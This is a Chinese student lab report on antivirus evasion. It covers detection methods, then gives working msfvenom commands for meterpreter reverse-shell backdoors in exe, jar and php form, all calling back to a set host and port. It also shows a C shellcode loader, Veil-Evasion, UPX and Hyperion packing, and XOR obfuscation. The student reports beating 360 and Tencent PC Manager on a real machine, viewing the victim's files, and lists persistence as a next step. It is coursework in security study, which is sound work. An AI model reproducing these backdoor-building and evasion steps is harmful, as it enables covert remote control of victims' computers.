20165230 Exp3 免杀原理与实践
1.实验内容
- 1.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧;(1.5分)
- 2.通过组合应用各种技术实现恶意代码免杀(1分)
(如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。) - 3.用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(1分)
2.基础问题回答
(1)杀软是如何检测出恶意代码的?
- 基于特征码的检测:恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测到有程序包含的特征码与其特征码库的代码相匹配,就会把该程序当作恶意软件。
- 启发式恶意软件检测:启发式Heuristic,简单来说,就是根据些片面特征去推断。通常是因为缺乏精确判定依据。对恶意软件检测来主说,就是如果一个软件在干通常是恶意软件干的事,看起来了像个恶意软件,那我们就把它当成一个恶意软件吧。典型的行为如连接恶意网站、开放端口、修改系统文件,典型的“外观”如文件本身签名、结构、厂商等信息等。各个厂商会定义自己的检测模式。
- 基于行为的恶意软件检测:通过对恶意代码的观察、研究,有一些行为是恶意代码的共同行为,而且比较特殊。所以当一个程序在运行时,杀毒软件会监视其行为,如果发现了这种特殊的行为,则会把它当成恶意软件。
(2)免杀是做什么?
- 通过伪装,加解密,对shellcode进行变形,利用veil进行重写重编译等手段防止生成的后门被杀软检测出来
(3)免杀的基本方法有哪些?
-
改变特征码
- 如果你手里只有EXE
- 加壳:压缩壳 加密壳,使其无法进行逆向,比对病毒库中的特征码
- 有shellcode(像Meterpreter)
- 用encode进行编码
- 基于payload重新编译生成可执行文件
- 有源代码
- 用其他语言进行重写重编译(veil-evasion)
- 半手工
- 如果你手里只有EXE
-
改变行为
- 通讯方式
- 例如之前注入所用到的反弹端口连接
- 使用隧道技术
- 加密通讯数据
- 操作模式
- 基于内存操作
- 减少对系统的修改
- 加入混淆作用的正常功能代码
- 通讯方式
-
非常规方法
- 使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中
- 使用社工类攻击,诱骗目标关闭AV软件
- 纯手工打造一个恶意软件
3.实验内容
任务一:正确使用免杀工具或技巧
使用msf编码器,msfvenom生成如jar之类的其他文件
- Msfvenom是Metasploit平台下用来编码payloads免杀的工具。以Metaspliot的知名度和普及度。理所当然,所有AV厂家都盯着呢,一有新编码算法,马上就得加到特征库里。通过编码后,按理论上讲,编码会降低检出率,大不了多编码几次,总会检不出来。
- 编码一次命令如下(用-e参数编码):
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00’ LHOST=192.168.19.129 LPORT=5230 -f exe > 20165230_backdoor.exe
-
放去virscan扫描,结果有点惨,有29个扫描了出来。
-
编码十次命令如下(用-i参数指定编码次数):
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.19.129 LPORT=5230 -f exe > 20165230_back2.exe
-
再放去扫描,少了1个,但感觉没有多大效果。
-
生成.jar文件夹
msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.19.129 lport=5230 x> 20165230_backdoor_java.jar
-
msfvenom生成php文件:
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.19.129 lport=5230 x> 20165230_backdoor.php
使用veil-evasion
- 居然安装了一天也没有安装出来,老是卡在展开对象那里,去网上搜也没有找到解决方案,最后实在没办法去拷贝了学长的虚拟机 TAT
- 下面是学长博客里的正常安装方法:
在Kali终端中使用
sudo apt-get install veil
安装,若遇到问题则用sudo apt-get update
和sudo apt-get upgrade
这两个命令更新一下软件包即可:
之后用veil
命令打开Veil,输入y继续安装直至完成
-
在终端中使用
veil
命令进入应用,输入use evasion
进入veil-evasion
输入use python/meterpreter/rev_tcp.py
,
-
然后设置回连IP(此处IP是kali)和端口,输入
generate
生成文件,接着输入你想要payload的名字:veil_c_5230:
-
然后生成了可执行文件。
-
看看Viruscan的扫描结果怎么样,咦还不错,只有15个了!
自己利用shellcode编程
Linux平台交叉编译Windows应用
-
使用命令
msfvenom -p windows/meterpreter/reverse_http LHOST=192.168.19.129 LPORT=5230 -f c
生成一个c语言格式的shellcode数组 -
用
vim shell1.c
命令新建一个c文件,将生成的shellcode粘贴到其中,并在之后添加主函数
int main()
{
int (*func)() = (int(*)())buf;
func();
}
- 再用
i686-w64-mingw32-g++ shell1.c -o shell1.exe
命令生成可执行文件 - 将后门shell1.exe传到Windows 7并尝试回连:
1.在kali中输入指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.19.129 LPORT=5230 -f exe > shell1.exe注意这里的IP地址为控制端IP,即LinuxIP,生成后门程序
2.在Windows下执行ncat.exe -l 5230 > shell1.exe,这样被控主机就进入了接收文件模式
3.在kali中通过nc 192.168.19.128 5230 < shell1.exe将生成的后门程序传送到Windows主机上.注意这里的IP为被控主机IP,即WindowsIP
-
回连先ping通,然后再做是没有问题的
-
还是一样用Viruscan扫描一下
-
发现并没有改进啊!
-
用
-e
指定生成shellcode的编码方式,生成新的shellcodemsfvenom -p windows/meterpreter/reverse_https -e x86/bloxor LHOST=192.168.19.129 -f c
-
还是不行!!
接下来我换了N种方式变换了主函数,重新生成了shellcode,不断用ncat在两台虚拟机之间传输exe,依然没用,我的内心是崩溃的
- 再试一下老师提供的方法!
- 。。。被删除了
加壳处理
upx压缩壳
-
upx是一种压缩程序,可以实现加壳的功能,Kali下输入命令
upx shellupx.exe -o shellupx.upxed.exe
:
-
再去扫一遍,emmmmm,这个壳好像也没用
Hyperion加密壳
-
进入目录/usr/share/windows-binaries/hyperion/中;
-
输入命令
wine hyperion.exe -v shell5.upxed.exe shell5.upxed.Hyperion.exe
进行加壳:
-
再去扫一遍,咦,稍微好了一点点点,不过还是不要加壳了吧
任务二:通过组合应用各种技术实现恶意代码免杀
对shellcode进行免杀变形
- 思路是在上一步里msfvenom生成shellcode的基础上加上了对每一位进行加2运算,并将shellcode与0x5f相异或,使用的codeblocks编译
在经历了N次失败后,已经快要没有信心了,后来我之前相同的代码在主机的Codeblocks编译生成exe,再放去viruscan里扫描 居然成功了!也太神奇了吧
-
也没有被杀软杀!360和腾讯管家都开了
-
再回连一下,OK!!
veil+加壳
- 将之前的veil生成的veil_5230.exe,拷贝到/usr/share/windows-binaries/hyperion/目录中
- 进入目录/usr/share/windows-binaries/hyperion/中
- 输入命令wine hyperion.exe -v sxx_upxed.exe sxx_upxed_Hyperion.exe进行加壳
- 最后放到viruscan里,发现加壳真的很鸡肋。。。最开始veil生成的exe扫描出来结果是15,这样的方式居然是21!
任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
- 实验环境:被控机是Win0实体机,装有腾讯电脑管家(12.14.19590.218)
- 攻击成功,可以查看她的文件夹
4.实践总结与体会
- 这次实验花了N多天时间,才最终完成,整个过程确实煎熬,先是配置veil不成功,虚拟机崩了两次,再是不论怎样组合shellcode扫描的结果都不变,还有在实验过程中保存在桌面的实验截图突然不见了,被系统删掉了,又只有重新截图,在期间看了很多博客,确是收获了不少。对免杀技术也有了进一步的掌握,让我对病毒的认识有了进一步的提升,同时深刻看出了当今杀毒软件的脆弱以及各杀毒软件之间水平的差异,所以,谨慎小心对于我们这个行业的学生来说是非常重要并且安全威胁是近在眼前的!
5.离实战还缺些什么技术或步骤?
- 如何隐藏后门,让别人不经意触发后门实现控制,
- 如何让后门自启动